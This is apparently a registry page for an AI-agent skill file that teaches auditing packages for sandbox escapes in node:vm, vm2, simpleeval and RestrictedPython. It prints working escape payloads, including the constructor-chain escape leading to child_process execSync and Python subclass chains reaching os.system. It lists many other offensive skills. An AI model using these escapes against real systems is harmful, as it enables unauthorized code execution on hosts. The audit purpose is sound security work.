sandbox-escape
Skill2 starsChanged 2 months agoMITView on GitHub
Detect VM/sandbox escape vulnerabilities in packages using node:vm, simpleeval, or custom sandboxes that can be bypassed to achieve code execution.
In this repository255 other files it gives its agents.
- ad-acl-abuseSkill
- ad-adcs-access-and-relaySkill
- ad-adcs-persistenceSkill
- ad-adcs-template-abuseSkill
- ad-ad-discoverySkill
- ad-ad-persistenceSkill
- ad-auth-coercion-relaySkill
- ad-credential-dumpingSkill
- ad-gpo-abuseSkill
- ad-kerberos-delegationSkill
- ad-kerberos-roastingSkill
- ad-kerberos-ticket-forgingSkill
- ad-pass-the-hashSkill
- ad-sccm-exploitationSkill
- ad-trust-attacksSkill
- hunt-ntlm-infoSkill
- offensive-active-directorySkill
- hunt-llm-aiSkill
- hunt-rag-vectorSkill
- offensive-ai-securitySkill
- cloud-iam-deepSkill
- hunt-cloud-misconfigSkill
- hunt-k8sSkill
- m365-entra-attackSkill
- network-container-escapesSkill
- offensive-cloudSkill
- offensive-container-escapeSkill
- offensive-k8s-attacksSkill
- okta-attackSkill
- vmware-vcenter-attackSkill
- credential-password-sprayingSkill
- hunt-brute-forceSkill
- hunt-forgot-passwordSkill
- post-exploit-credential-recoverySkill
- meme-coin-auditSkill
- offensive-crypto-attacksSkill
- web3-auditSkill
- ctfSkill
- advisory-miningSkill
- auth-bypassSkill
- code-injection-codegenSkill
- command-injectionSkill
- cross-pollinationSkill
- cve-hunting-methodologySkill
- decompression-bombSkill
- entity-expansionSkill
- fp-checkSkill
- method-clobberingSkill
- path-traversalSkill
- prototype-pollutionSkill
- recursion-dosSkill
- redosSkill
- target-reconSkill
- web2-vuln-classesSkill
- evasion-av-edr-evasionSkill
- offensive-anti-forensicsSkill
- offensive-edr-evasionSkill
- offensive-keylogger-archSkill
- offensive-mitigationsSkill
- offensive-waf-bypassSkill
- The first 60 shown.
The file
Files
Sandbox Escape Detection
When to Use
Audit any package that uses node:vm, vm2, isolated-vm, simpleeval, RestrictedPython, or custom expression evaluators to run untrusted code.
Key Insight
node:vm is NOT a security mechanism. The Node.js documentation explicitly states this. Constructor chains ALWAYS escape the sandbox. If a package uses vm.runInNewContext() to isolate untrusted code, it is vulnerable.
The Constructor Chain (node:vm)
The fundamental escape from node:vm:
// Inside vm.runInNewContext({}, {}):
this.constructor.constructor('return process')()
// Returns the real process object from the hostThen achieve RCE:
const process = this.constructor.constructor('return process')();
process.mainModule.require('child_process').execSync('id').toString();Why This Works
thisrefers to the sandbox objectthis.constructorisObject(from the outer realm)Object.constructorisFunction(from the outer realm)Function('return process')()executes in the outer realmprocessgives access torequireand the full Node.js API
Process
Step 1: Find Sandbox Usage
# node:vm
grep -rn "require.*vm.*\|from.*vm" . --include="*.js" --include="*.ts"
grep -rn "vm\.runIn\|vm\.createContext\|vm\.Script\|vm\.compileFunction" .
grep -rn "new Script\|runInNewContext\|runInThisContext\|runInContext" .
# vm2 (deprecated)
grep -rn "require.*vm2\|from.*vm2\|new VM(\|new NodeVM(" .
# Python sandboxes
grep -rn "simpleeval\|SimpleEval\|EvalWithCompoundTypes" .
grep -rn "RestrictedPython\|compile_restricted" .
grep -rn "ast\.literal_eval" .
# Custom sandboxes
grep -rn "sandbox\|safeEval\|safe_eval\|secure_eval" .Step 2: Identify the Sandbox Mechanism
| Mechanism | Security Level | Notes |
| node:vm | NONE | Not a security boundary. Always escapable. |
| vm2 | LOW-MEDIUM | Deprecated. Multiple CVEs. Check version. |
| isolated-vm | HIGH | Separate V8 isolate. Genuinely isolated. |
| quickjs-emscripten | HIGH | Separate engine in Wasm. |
| Python simpleeval | MEDIUM | Safe for simple expressions. Check version. |
| Python ast.literal_eval | HIGH | Only allows literals. Safe. |
| RestrictedPython | MEDIUM | Check version for known bypasses. |
| Custom eval wrappers | LOW | Almost always bypassable. |
Step 3: Test Escape Vectors
For node:vm, try these in order:
- Constructor chain:
this.constructor.constructor('return process')() - arguments.callee.caller (if in function context)
- Error stack inspection
- Proxy/Reflect objects (if available in sandbox)
- Symbol.hasInstance override
- Dynamic import() (if supported)
For Python, try:
().__class__.__base__.__subclasses__()-- access all loaded classes''.__class__.__mro__[1].__subclasses__()-- string class hierarchy- Function object access:
func.__globals__,func.__code__ __builtins__access through various chains
Step 4: Check for Mitigations
grep -rn "freeze\|preventExtensions\|defineProperty" . # Object hardening
grep -rn "Proxy\|handler\|revocable" . # Proxy-based protection
grep -rn "whitelist\|allowlist\|blocklist" . # Function filteringCommon Escape Patterns
Pattern 1: node:vm Direct Escape
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('this.constructor.constructor("return process")()', sandbox);
// Returns the real process objectPattern 2: Python simpleeval Class Hierarchy
from simpleeval import simple_eval
# Access os module through class hierarchy
simple_eval("().__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].system('id')")Pattern 3: Custom Sandbox Bypass
// Custom "safe" eval that blocks require/process/global
function safeEval(code) {
return new Function('require', 'process', 'global', code)(undefined, undefined, undefined);
}
// Bypass: arguments.callee.caller gives access to outer scope
// Or: this.constructor.constructor('return process')()CVSS Guidance
- Sandbox escape to RCE (unauthenticated): CRITICAL 9.8-9.9
- Sandbox escape to RCE (authenticated): HIGH 8.8
- Sandbox escape with limited impact: HIGH 7.5
- node:vm used for security = always CRITICAL (it is not a security mechanism)
References
- Sinks -- Sandbox mechanisms and escape patterns
- False Positive Indicators -- When escape is blocked
- PoC Skeleton -- Sandbox escape PoC templates
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

